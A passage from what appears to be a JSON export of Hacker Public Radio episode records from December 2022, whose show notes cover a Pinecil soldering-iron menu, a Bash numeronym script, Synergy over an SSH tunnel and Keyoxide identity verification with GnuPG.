                                                                • Loop icon animations in main menu
                                                                • \n
                                                              • \n
                                                              • (Brightness icon) (4)\n
                                                                  \n
                                                                • Adjust the brightness of the OLED screen
                                                                • \n
                                                              • \n
                                                              • (Invert icon) ☐\n
                                                                  \n
                                                                • Invert the colors of the OLED screen
                                                                • \n
                                                              • \n
                                                              • Boot logo duration (1s)\n
                                                                  \n
                                                                • Sets the duration for the boot logo (s=seconds)
                                                                • \n
                                                                • Range: 1-4s | Infinite | Off
                                                                • \n
                                                              • \n
                                                              • Detailed idle screen ☐\n
                                                                  \n
                                                                • Display detailed information in a smaller font on the idle\nscreen
                                                                • \n
                                                              • \n
                                                              • Detailed solder screen ☐\n
                                                                  \n
                                                                • Display detailed information in a smaller font on the soldering\nscreen
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Advanced Settings

                                                              \n
                                                                \n
                                                              • Power limit (35 W)\n
                                                                  \n
                                                                • Maximum power the iron can use (W=watts)
                                                                • \n
                                                                • Range: Off or 0 to 95W (Increments of 5)
                                                                • \n
                                                              • \n
                                                              • Reset factory settings?\n
                                                                  \n
                                                                • Reset all settings to default
                                                                • \n
                                                              • \n
                                                              • Calibrate temperature\n
                                                                  \n
                                                                • Start tip temperature offset calibration
                                                                • \n
                                                              • \n
                                                              • Calibrate input voltage\n
                                                                  \n
                                                                • Start VIN calibration (long press to exit)
                                                                • \n
                                                              • \n
                                                              • Power pulse (0.5)\n
                                                                  \n
                                                                • Intensity of power of keep-awake-pulse (watt)
                                                                • \n
                                                                • Range 0.1 to 9.9 | Off
                                                                • \n
                                                              • \n
                                                              • Power pulse delay (4)\n
                                                                  \n
                                                                • Delay before keep-awake-pulse is triggered (x 2.5s)
                                                                • \n
                                                                • Range: 1 to 9
                                                                • \n
                                                              • \n
                                                              • Power pulse duration (1)\n
                                                                  \n
                                                                • Keep-awake-pulse duration (x 250ms)
                                                                • \n
                                                                • Range: 1 to 9
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Barrel Power Supply

                                                              \n
                                                            • \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"soldering, soldering iron, Pinecil, menu","version":0,"downloads":0,"valid":1}, {"id":3746,"date":"2022-12-12","title":"Cpuinfo","duration":894,"summary":"How to get CPU info on Linux","notes":"

                                                            Various ways to get information about your CPU on Linux.

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cpu,utilities,programming","version":0,"downloads":0,"valid":1}, {"id":3747,"date":"2022-12-13","title":"Twitter and Dinner with the Humans","duration":1614,"summary":"I talk about Twitter after dinner with some Humans","notes":"

                                                            Reality 2.0 Podcast
                                                            \nhttps://www.reality2cast.com/

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Dinner,Humans,Twitter","version":0,"downloads":0,"valid":1}, {"id":3748,"date":"2022-12-14","title":"The Squirrels gift to HPR","duration":569,"summary":"The Squirrels have modified Bash Podder to do something different","notes":"

                                                            Humans,

                                                            \n

                                                            Download the following compressed tar file containing the Squirrels\nPodcast thingie.

                                                            \n

                                                            https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing

                                                            \n

                                                            Untar the thingie;

                                                            \n
                                                            tar -zxvf PODTHING
                                                            \n

                                                            explore the subdirectories it created.

                                                            \n

                                                            You can copy the Media_Gift directory to where ever you want it to\nreside and even rename it\nmv Media_Gift /home/me/mythingie

                                                            \n

                                                            install your own korn shell {KSH} or modify the bashpodder.shell\nscripts located inside to point to where ever you keep bash on your\nsystem.

                                                            \n

                                                            Run the entire script from the Media_Gift directory

                                                            \n
                                                            ./get_all_podcasts
                                                            \n

                                                            Enjoy Humans. All Squirrels love all humans. Happy Holidays. Eat more\nnuts.

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcastcatcher,bashpoddermod","version":0,"downloads":0,"valid":1}, {"id":3749,"date":"2022-12-15","title":"Making your own parts","duration":855,"summary":"3D printers are useful for making your own custom parts and I talk about the parts I've made.","notes":"

                                                            The part I made moments before the show is available at Thingiverse.\nHere is a screenshot of modeling it in Blender followed by the piece installed on the microphone holder.

                                                            \n\n

                                                            \"Blender

                                                            \n

                                                            See full image

                                                            \n\n

                                                            \"Microphone

                                                            \n

                                                            See full image

                                                            \n\n

                                                            Also a photo of the green screen hooks I created for hanging these large holiday light things.

                                                            \n\n

                                                            \"Green

                                                            \n

                                                            See full image

                                                            \n\n

                                                            The drill dust collector (on Thingiverse)

                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3D printing,DIY,Maker,microphones","version":0,"downloads":0,"valid":1}, {"id":3750,"date":"2022-12-16","title":"Southern Arizona","duration":1022,"summary":"We move into Southern Arizona, near the Mexican border.","notes":"

                                                            We wrap up our stay in Topock, Arizona and move down to Ajo, Arizona, not far from the Mexican border. Kevin gets a head cold and takes it easy for a few days, but we still manage to get out and see some things. At the end we repair our steps and head off to the Tucson area.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Arizona","version":0,"downloads":0,"valid":1}, {"id":3751,"date":"2022-12-19","title":"Using Noisetorch","duration":427,"summary":"Noisetorch is a program for Linux that creates a virtual microphone that removes background sounds.","notes":"

                                                            Official Noisetorch repo: https://github.com/noisetorch/NoiseTorch

                                                            \n\n

                                                            Noisetorch demo video by Linux for everyone

                                                            \n\n

                                                            The Pipewire soundsystem for Linux.

                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio,podcasting,microphone,linux","version":0,"downloads":0,"valid":1}, {"id":3752,"date":"2022-12-20","title":"It only took me 2 years to record using some 'new' hardware","duration":582,"summary":"the why and what of some new recording hardware","notes":"

                                                            I tend to put the \"no\" in notes!

                                                            \n

                                                            https://www.presonus.com/products/AudioBox-USB-96
                                                            \nhttps://www.pine64.org/pinebook-pro/

                                                            \n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, audacity, audio, hardware","version":0,"downloads":0,"valid":1}, {"id":3753,"date":"2022-12-21","title":"Some thoughts on \"Numeronyms\"","duration":716,"summary":"AKA alphanumeric acronyms, alphanumeric abbreviations, or numerical contractions","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            I have recently been wondering about the use of abbreviations which\nare built from the first letter of a word followed by a number and the\nlast letter. The number represents the count of letters between the\nstart and end letter. Thus accessibility becomes\na11y. This came to light (to me anyway) during an email\nexchange with Mike Ray regarding the accessibility issues on the tag\nindex page on the HPR site. The website issues were resolved, but I was\nleft wondering how useful the term a11y is, or whether it\njust jars with me!

                                                            \n

                                                            According to the Wikipedia article\nthis type of word is known as a numeronym, but they may also be\nreferred to as alphanumeric acronyms, alphanumeric\nabbreviations, or numerical contractions.

                                                            \n

                                                            As the Wikipedia article notes these types of abbreviations are\nalmost always used to refer to their computing sense — such as\ng11n for globalisation — in the context of computing,\nnot the general context.

                                                            \n

                                                            Looking at a11y as an\nexample

                                                            \n

                                                            While I sympathise with the motivation behind using\n'a11y' to mean accessibility, I do find it odd and\ncounter-intuitive. I often find myself pondering the acceptability of\nthis type of abbreviation. How many other words in common English fit\npatterns like this I wonder? Quite a few I would expect. How does this\naffect the admissibility of such abbreviations?

                                                            \n

                                                            Not only are they adventurously strange to my simple brain, but I\nfind them to be aesthetically displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\naffirmatively supportive of this view. I describe this experiment\nlater.

                                                            \n

                                                            Algebraically, it is to be expected that there are many dictionary\nwords of 13 characters which start with 'a' and end with\n'y'. Looking at them allegorically, such numeronyms convey\nlittle meaning except in very limited contexts since the motivation\nseems to be to reduce the need to type long words. Alternatively, if\nthey were accepted by data entry software and expanded automatically a\nbetter case could be made for applicability, but only one word could be\nassigned to a numeronym.

                                                            \n

                                                            In my mind there is a certain artificiality in the use of these\nabbreviations.

                                                            \n
                                                            \n

                                                            You might wonder at the weird rambling nature of the above section -\nthis was my (small) joke to try and use many of the words that match the\na11y pattern.

                                                            \n

                                                            Here’s the result of transforming them:

                                                            \n
                                                            \n

                                                            While I sympathise with the motivation behind\n'a11y' to mean accessibility, I do find it odd and\ncounter-intuitive. I often find myself pondering the a11y\nof this type of abbreviation. How many other words in common English fit\nthese patterns I wonder? Quite a few I would expect. How does this\naffect the a11y of such abbreviations?

                                                            \n

                                                            Not only are they a11y strange to my simple brain, but I\nfind them to be a11y displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\na11y supportive of this view. I describe this experiment\nlater.

                                                            \n

                                                            A11y, it is to be expected that there are many\ndictionary words of 13 characters which start with 'a' and\nend with 'y'. Looking at them a11y, such\nnumeronyms convey little meaning except in very limited contexts since\nthe motivation seems to be to reduce the need to type long words.\nA11y, if they were accepted by data entry software and\nexpanded a11y a better case could be made for\na11y, but only one word could be assigned to a\nnumeronym.

                                                            \n

                                                            In my mind there is a certain a11y in the use of these\nabbreviations.

                                                            \n
                                                            \n
                                                            \n

                                                            Make your own numeronyms

                                                            \n

                                                            The following piece of Bash scripting scans the file\n/usr/share/dict/words and picks out words which match the\na11y pattern (after removing those ending in\n's). It writes the word and the numeronym\ngenerated from it, which it computes, though it’s unnecessary in this\ncase because they all generate the same numeronym. I did it this way\nbecause I wanted to apply the algorithm to other words:

                                                            \n
                                                            while read -r word; do\n    printf '%-20s %s\n' "$word" "${word:0:1}$((${#word}-2))${word: -1}"\ndone < <(grep -E -v "'s$" /usr/share/dict/words | grep -E '^a.{11}y$')
                                                            \n

                                                            Here’s a variant which selects all words which are 8-20 letters long,\nand picks 20 at random to which to apply the numeronym\nalgorithm:

                                                            \n
                                                            while read -r word; do\n    printf '%-20s %s\n' "$word" "${word:0:1}$((${#word}-2))${word: -1}"\ndone < <(grep -E -v "'s$" /usr/share/dict/words | grep -E '^.{8,20}$' | shuf -n 20)
                                                            \n

                                                            Here is a sample:

                                                            \n
                                                            Aconcagua            A7a\nsemiweeklies         s10s\nbroadened            b7d\nenlisting            e7g\nnonpolitical         n10l\nrecessional          r9l\nreorganizing         r10g\noptimizations        o11s\ntaunting             t6g\nsubservience         s10e\ndinosaur             d6r\nhydroelectric        h11c\nmellowing            m7g\nperching             p6g\nWinnebago            W7o\nbunghole             b6e\nmundanely            m7y\nnoisemaker           n8r\nrattlings            r7s\nmicroprocessors      m13s
                                                            \n

                                                            Have fun with this - if you are so inclined!

                                                            \n

                                                            Extremely long word (fake)

                                                            \n

                                                            In researching for this episode I came upon an extremely\nlong word, with information about it on Wikipedia.\nThe word is:

                                                            \n
                                                            Pneumonoultramicroscopicsilicovolcanoconiosis
                                                            \n

                                                            Click\nto hear it spoken on Wikipedia

                                                            \n

                                                            This is a made-up (possibly nonsensical) word, but I thought I could\ntry my algorithm on it:

                                                            \n
                                                            $ word="Pneumonoultramicroscopicsilicovolcanoconiosis"\n$ printf '%-20s %s\n' "$word" "${word:0:1}$((${#word}-2))${word: -1}"\nPneumonoultramicroscopicsilicovolcanoconiosis P43s
                                                            \n

                                                            Conclusion

                                                            \n

                                                            Numeronyms don’t appeal to me. Notwithstanding my little jokes above,\nI know the proposal is not to replace all longer words\nwith them; this would cause chaos! However, as a means of denoting long\nwords this seems wrong.

                                                            \n

                                                            I assume that their evolution occurs like this:

                                                            \n
                                                              \n
                                                            • We use a word often in a particular context
                                                            • \n
                                                            • The word is long and not easy to type
                                                            • \n
                                                            • For the sake of speed and to avoid typographic errors we make a\nnumeronym
                                                            • \n
                                                            • We then tell the world that \"i18n\" (as an example)\nmeans internationalisation.
                                                            • \n
                                                            • Those in the know have no problems with it but many people who\nencounter it later puzzle over it - as I am doing here!
                                                            • \n
                                                            \n

                                                            It seems fair to say that this obscure process has fulfilled the need\nto abbreviate this awkwardly long word - in the limits of the context\nwhere it has evolved. However it has not conveyed information very well;\nit has mainly benefited those who write (or read) documentation relating\nto the context.

                                                            \n

                                                            Many editor and word processor applications have the facility of\nexpanding abbreviations like this, in my experience. I would prefer to\nuse this rather than embed the coded abbreviation into the language.

                                                            \n

                                                            On the other hand, I’m OK with\nPneumonoultramicroscopicsilicovolcanoconiosis being replaced by\nP43s!

                                                            \n

                                                            I will confess that I had a similar reaction to XKCD’s “Up Goer Five”\nidea. He explains the Saturn 5 - “Explained using only the ten\nhundred words people use the most often”.

                                                            \n

                                                            Maybe you disagree with me! If so, feel free to add a comment to this\nshow — or indeed, record a show of your own!

                                                            \n

                                                            Links

                                                            \n\n\n
                                                              \n
                                                            • Fake words:\n
                                                                \n
                                                              • Lung disease Pneumonoultramicroscopicsilicovolcanoconiosis
                                                              • \n
                                                              • Welsh village Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"English, abbreviation, numeronym, alphanumeric acronym, numerical contraction","version":0,"downloads":0,"valid":1}, {"id":3754,"date":"2022-12-22","title":"GOD probably will use a Chromebook","duration":2250,"summary":"A Squirrels Rebuttal of GNU World Order episode 489 Cloud Services","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            A counter point to this show is available: hpr3793 :: RE: Zen_Floater2\n

                                                            \n
                                                            \n\n\n\n\n

                                                            How using a Chromebook could eventually result in Mankind creating\nGOD in his own image.

                                                            \n

                                                            A brief discussion of my attempt to emulate Google Services from a\nChromebook on a Devuan equipped Lenovo Laptop and how all of this will\neventually result in mankind actually creating a real GOD who will be\nmasters of EVERYTHING.

                                                            \n

                                                            A Squirrels perspective on life, the universe and everything - even\nCloud Services and the lie that is A.I.

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Chromebooks,Cloud_Services,gnuworldorder,GOD,ALIENS,SQUIRRELS","version":0,"downloads":0,"valid":1}, {"id":3755,"date":"2022-12-23","title":"Synergy over ssh","duration":1495,"summary":"Control your other PC securely using synergy over ssh","notes":"

                                                            In today's show we will talk about installing synergy so that you can\ncontrol the keyboard and mouse of another computer securely over\nssh.

                                                            \n

                                                            Install synergy on both computers as root

                                                            \n
                                                            # dnf install synergy\n# apt install synergy
                                                            \n

                                                            The main pc is pc_middle and it is the one with the\nkeyboard and mouse we intend to use for all the computers.

                                                            \n

                                                            The only other pc in this configuration is, one on the right which we\ncall pc_right

                                                            \n

                                                            On pc_middle create a configuration file. I put it in\n~/etc/synergy-work.conf

                                                            \n
                                                            section: screens\n    pc_middle:\n    pc_right:\nend\n\nsection: links\npc_middle:\n    right = pc_right\npc_right:\n    left  = pc_middle\nend
                                                            \n

                                                            On pc_middle add entry to ~/.ssh/config to\nallow portforwarding back, for the synergy port\n24800

                                                            \n
                                                            Host pc_right\n    Hostname 192.168.0.150\n    RemoteForward 127.0.0.1:24800 127.0.0.1:24800 # send back from the client to me
                                                            \n

                                                            On pc_middle run synergy server in the foreground with\ndebug enabled

                                                            \n
                                                            [user@pc_middle ~]$ synergys --debug DEBUG --no-daemon --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\n[2022-12-03T16:29:05] DEBUG: opening configuration "~/etc/synergy-work.conf"\n[2022-12-03T16:29:05] DEBUG: configuration read successfully\n[2022-12-03T16:29:05] DEBUG: XOpenDisplay(":0")\n[2022-12-03T16:29:05] DEBUG: xscreensaver window: 0x00c00001\n[2022-12-03T16:29:05] DEBUG: screen shape: 0,0 5760x2160 (xinerama)\n[2022-12-03T16:29:05] DEBUG: window is 0x05e00004\n[2022-12-03T16:29:05] DEBUG: adopting new buffer\n[2022-12-03T16:29:05] DEBUG: opened display\n[2022-12-03T16:29:05] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T16:29:05] DEBUG: registered hotkey ScrollLock (id=ef14 mask=0000) as id=1\n[2022-12-03T16:29:05] NOTE: started server, waiting for clients\n[2022-12-03T16:29:05] DEBUG: event queue is ready\n[2022-12-03T16:29:05] DEBUG: add pending events to buffer\n[2022-12-03T16:29:05] DEBUG: screen "pc_middle" shape changed
                                                            \n

                                                            On pc_middle you can check that it's running

                                                            \n
                                                            [user@pc_middle ~]$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800     0.0.0.0:*               LISTEN      90859/synergys
                                                            \n

                                                            On pc_middle you can connect to\npc_right

                                                            \n
                                                            [user@pc_middle ~]$ ssh pc_right\nuser@pc_right:~$
                                                            \n

                                                            On pc_right (either on its own keyboard, or via ssh\nsession from pc_middle), check that port 24800\nis listening

                                                            \n
                                                            user@pc_right:~$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800         0.0.0.0:*               LISTEN
                                                            \n

                                                            On the other keyboard that is connected to the pc_right\n(see note below †)

                                                            \n
                                                            user@pc_right:~$ synergyc --debug INFO --no-daemon --name pc_right 127.0.0.1\n[2022-12-03T16:38:59] NOTE: started client\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,404\n[2022-12-03T16:38:59] NOTE: connecting to '127.0.0.1': 127.0.0.1:24800\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/client/Client.cpp,146\n[2022-12-03T16:38:59] NOTE: connected to server\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,294
                                                            \n

                                                            Back on pc_middle, you should see the the log that you\nhave connected

                                                            \n
                                                            [2022-12-03T16:40:15] DEBUG: Opening new socket: 18FC73A0\n[2022-12-03T16:40:15] NOTE: accepted client connection\n[2022-12-03T16:40:16] DEBUG: received client "pc_right" info shape=0,0 5760x2160 at 2787,1371\n[2022-12-03T16:40:16] NOTE: client "pc_right" has connected
                                                            \n

                                                            † Note: If you tried to run the client synergyc over the\nssh connection on pc_middle it will connect, but the mouse\nwill never move to the other screen.

                                                            \n

                                                            Now from the pc_middle, you should be able to\nmove the mouse over to the pc_right screen.

                                                            \n

                                                            Now using the keyboard and mouse on the pc_middle, you\nshould now be able to move the mouse and type on the\npc_right screen.

                                                            \n

                                                            The logs on the pc_middle, should show you information\nabout switching from one computer to the other.

                                                            \n
                                                            [2022-12-03T17:05:18] INFO: switch from "pc_middle" to "pc_right" at 0,225\n[2022-12-03T17:05:18] INFO: leaving screen\n[2022-12-03T17:05:18] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 0\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 0\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (8 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 0\n[2022-12-03T17:05:18] INFO: screen "pc_middle" updated clipboard 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 1\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 1\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444), text/html (653)\n[2022-12-03T17:05:18] DEBUG: added format 1 for target text/html (653) (113 bytes)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (5 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 1\n[2022-12-03T17:05:18] INFO: screen "pc_middle" updated clipboard 1\n[2022-12-03T17:05:18] DEBUG: sending clipboard 0 to "pc_right"\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=20\n[2022-12-03T17:05:18] DEBUG: sending clipboard 1 to "pc_right"\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=138\n[2022-12-03T17:05:19] INFO: switch from "pc_right" to "pc_middle" at 5757,583\n[2022-12-03T17:05:19] INFO: entering screen\n[2022-12-03T17:05:19] DEBUG: send xscreensaver command: 582 0 0
                                                            \n

                                                            Back on pc_right you can close the client by holding\nControl and pressing C, or Ctrl+C for short.

                                                            \n

                                                            The logs on the pc_middle, should show you that the\nclient disconnected.

                                                            \n
                                                            [2022-12-03T16:40:18] NOTE: client "pc_right" has disconnected\n[2022-12-03T16:40:18] DEBUG: Closing socket: 18FC73A0
                                                            \n

                                                            As we are running over ssh, there is no need to configure\n--enable-crypto but you can if you wish.

                                                            \n

                                                            Now that everything is working correctly you can make it easier to\nstart.

                                                            \n

                                                            As we saw before (†) the client needs to be run from the physical X\nSession that you see on the second computer.

                                                            \n

                                                            On pc_right create a new bash script file eg:\nnano ~/bin/start-synergy-client.bash

                                                            \n
                                                            #!/bin/bash\nkillall synergyc\nsleep 2\nsynergyc --name pc_right 127.0.0.1\nexit 0
                                                            \n

                                                            Still on pc_right allow the file to be executable\nchmod +x ~/bin/start-synergy-client.bash

                                                            \n

                                                            Still on pc_right and in the session you wish to\ncontrol, run start-synergy-client.bash

                                                            \n

                                                            I find it easiest to just run this in a shell once I login on\npc_right, but you could configure it to run\nautomatically once you log in.

                                                            \n

                                                            Back on pc_middle, create a new bash script file eg:\nnano ~/bin/start-synergy-server.bash

                                                            \n
                                                            #!/bin/bash\nserver_name=synergys # may also be synergy-core\nkillall "${server_name}"\n${server_name} --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\nsetxkbmap -option "compose:ralt"\nsetxkbmap -option "ctrl:nocaps"\nssh pc_right
                                                            \n

                                                            Still on pc_middle allow the file to be executable\nchmod +x ~/bin/start-synergy-server.bash

                                                            \n

                                                            Still on pc_middle you can run the command\nstart-synergy-server.bash and it will open a ssh shell to\npc_right.

                                                            \n

                                                            Over that connection pc_right can send back commands to\nthe server.

                                                            \n

                                                            A side note about the special address 127.0.0.1.

                                                            \n

                                                            It's often referred to as loopback, home, or\nlocalhost and is usually defined in\n/etc/hosts

                                                            \n

                                                            The address is used by programs running on a given computer to\ncommunicate with other programs running on the same computer.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Localhost

                                                            \n
                                                            \n

                                                            IPv4 network standards reserve the entire address block 127.0.0.0/8\n(more than 16 million addresses) for loopback purposes.

                                                            \n
                                                            \n

                                                            If you are confused, then just think of it like you when your boss\nsays \"I'm going home now, you should also go home.\"

                                                            \n

                                                            It's clear that they mean \"I'm going to my home now,\nand you should also go to your home.\"

                                                            \n

                                                            So the address 127.0.0.1 on pc_middle is only available\non pc_middle, and equally the address 127.0.0.1 on\npc_right is only available on pc_right.

                                                            \n

                                                            The server is listening on its loopback address 127.0.0.1 on\npc_middle, while the client is listening on its loopback\naddress 127.0.0.1 on pc_right

                                                            \n

                                                            It is the RemoteForward configuration that creates a ssh\ntunnel that is doing the heavy lifting.

                                                            \n
                                                            RemoteForward 127.0.0.1:24800 127.0.0.1:24800
                                                            \n

                                                            It tells the Remote (in this case pc_right ) to listen\nto the port 24800 its loopback address.

                                                            \n

                                                            This is where the client on pc_right will be talking\nto.

                                                            \n

                                                            The ssh connection will then Forward any packets back to the other\nside (in this case pc_middle )

                                                            \n

                                                            And to send to the port 24800 its loopback address.

                                                            \n

                                                            And on that address the server is listening.

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"synergy,ssh,port forward,tunnel","version":0,"downloads":0,"valid":1}, {"id":3756,"date":"2022-12-26","title":"Verify yourself on Mastodon with PGP and Keyoxide","duration":1940,"summary":"Verify your Mastodon account using GnuPG and Keyoxide.org","notes":"

                                                            Keyoxide is a project that parses a PGP key and makes its data available to Mastodon for identity verification.

                                                            \n

                                                            Added by Ken - 2022-12-27

                                                            \n

                                                            To list the key

                                                            \n

                                                            gpg2 --list-secret-keys

                                                            \n

                                                            To update and export your key

                                                            \n
                                                            YOUR_GPG_UID=$( gpg2 --list-secret-keys | grep -A1 'sec' | tail -1 | awk '{print $NF}' )\n\n$ gpg2 --list-secret-keys ${YOUR_GPG_UID}\n\n$ gpg2 --edit-key ${YOUR_GPG_UID}\n\ngpg> uid 1\n\ngpg> primary\n\ngpg> notation\nEnter the notation: proof@ariadne.id=https://YOUR-MASTODON-SERVER/@YOUR_MASTODON_ID\n\ngpg> showpref \n\ngpg> save \n\n$ gpg2 --armor --export ${YOUR_GPG_UID} > pub-key.asc
                                                            \n

                                                            Upload to https://keys.openpgp.org/

                                                            \n

                                                            Select Verify email

                                                            \n

                                                            Click the email link

                                                            \n

                                                            You should get a message \"Your key ${YOUR_GPG_UID} is now published for the identity YOUR_EMAIL_ADDRESS.\"

                                                            \n

                                                            Got to your mastodon server https://YOUR-MASTODON-SERVER/settings/profile

                                                            \n

                                                            And on the page add GPG and https://keyoxide.org/hkp/${YOUR_GPG_UID}

                                                            \n\n\n\n

                                                            Links

                                                            \n\n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pgp, gnupg, crypto, identity","version":0,"downloads":0,"valid":1}, {"id":3757,"date":"2022-12-27","title":"Career changes.","duration":1625,"summary":"Chatting about recent career changes","notes":"
                                                              \n
                                                            • Virginia\nCDL Manual

                                                            • \n
                                                            • CDL\nDL-8 form

                                                            • \n
                                                            • CDL\nMedical Exam form

                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CDL, Class A CDL","version":0,"downloads":0,"valid":1}, {"id":3758,"date":"2022-12-28","title":"First sysadmin job - war story","duration":1685,"summary":"How I got my first job as a sysadmin and a story about NFS","notes":"

                                                            I love show notes, but I don't have any this time.

                                                            \n\n

                                                            \nHow Norrist moving into a new IT Linux Admin career. Can he solve the mystery of the NFS issues he inherited ?\n

                                                            ","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"career, nfs, php","version":0,"downloads":0,"valid":1}, {"id":3759,"date":"2022-12-29","title":"Chatting with dnt.","duration":2629,"summary":"Small talk on SBCs and free software.","notes":"
                                                              \n
                                                            • Amazon Scalpers selling raspberry pi 4:\n
                                                                \n
                                                              • $219.00\npi4 8gb
                                                              • \n
                                                              • $285.99\niUniker pi 4 8gb kit
                                                              • \n
                                                              • $285.99\npi 4 8gb compute module
                                                              • \n
                                                              • $145.99\npi 400
                                                              • \n
                                                              • $235.99\npi 3 kit
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Software\nand documentation mentioned during the show.

                                                            \n
                                                              \n
                                                            • git-annex\n
                                                                \n
                                                              • git-annex allows managing large files with git, without storing the\nfile contents in git. It can sync, backup, and archive your data,\noffline and online.
                                                              • \n
                                                            • \n
                                                            • Taskwarrior\n
                                                                \n
                                                              • Taskwarrior is Free and Open Source Software that manages your TODO\nlist from the command line.
                                                              • \n
                                                            • \n
                                                            • Haskell.org\n
                                                            • \n
                                                            • Radicale\n
                                                                \n
                                                              • Radicale is a small but powerful CalDAV (calendars, to-do lists) and\nCardDAV (contacts) server.
                                                              • \n
                                                            • \n
                                                            • SSH\nDocumentation\n
                                                            • \n
                                                            • Fail2Ban
                                                            • \n
                                                            • iptables
                                                            • \n
                                                            • How\nattackers find ip addresses\n
                                                                \n
                                                              • nmap\nscanning internet for random targets: for learning purposes\nonly!!!
                                                              • \n
                                                            • \n
                                                            • Pagekite
                                                            • \n
                                                            • Windows\nSubsystem for Linux
                                                            • \n
                                                            • Figma
                                                            • \n
                                                            • Raspberry\npi focus on businesses first
                                                            • \n
                                                            • ETA Prime
                                                            • \n
                                                            • PineTab\n2
                                                            • \n
                                                            • risc-v building the first open,\ncollaborative community of software and hardware innovators powering\ninnovation at the edge forward.
                                                            • \n
                                                            • arm\narchitecture
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, single board computers, haskell","version":0,"downloads":0,"valid":1}, {"id":3760,"date":"2022-12-30","title":"Bookwyrm","duration":825,"summary":"This episode looks at a relatively new but promising alternative to Goodreads that is firmly in the ","notes":"

                                                            Federated social media can open up some wonderful possibilities to reimagine some of the social apps we already use and find ways to do them better. In this episode I want to highlight a new contender for a Fediverse application that may be able to replace Goodreads. Is it up to the task? We'll look at the pluses and minuses in this episode.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Goodreads, library, Bookwyrm","version":0,"downloads":0,"valid":1}, {"id":3761,"date":"2023-01-02","title":"HPR Community News for December 2022","duration":2695,"summary":"HPR Volunteers talk about shows released and comments posted in December 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3739Thu2022-12-01Multipactors for the masses.one_of_spoons
                                                            3740Fri2022-12-02Batch File Variables; Nested Batch FilesAhuka
                                                            3741Mon2022-12-05HPR Community News for November 2022HPR Volunteers
                                                            3742Tue2022-12-06BatteryKen Fallon
                                                            3743Wed2022-12-07HPR NewsSome Guy On The Internet
                                                            3744Thu2022-12-08Advent of code Day 1 - 4Daniel Persson
                                                            3745Fri2022-12-09Pinecil walkthroughArcher72
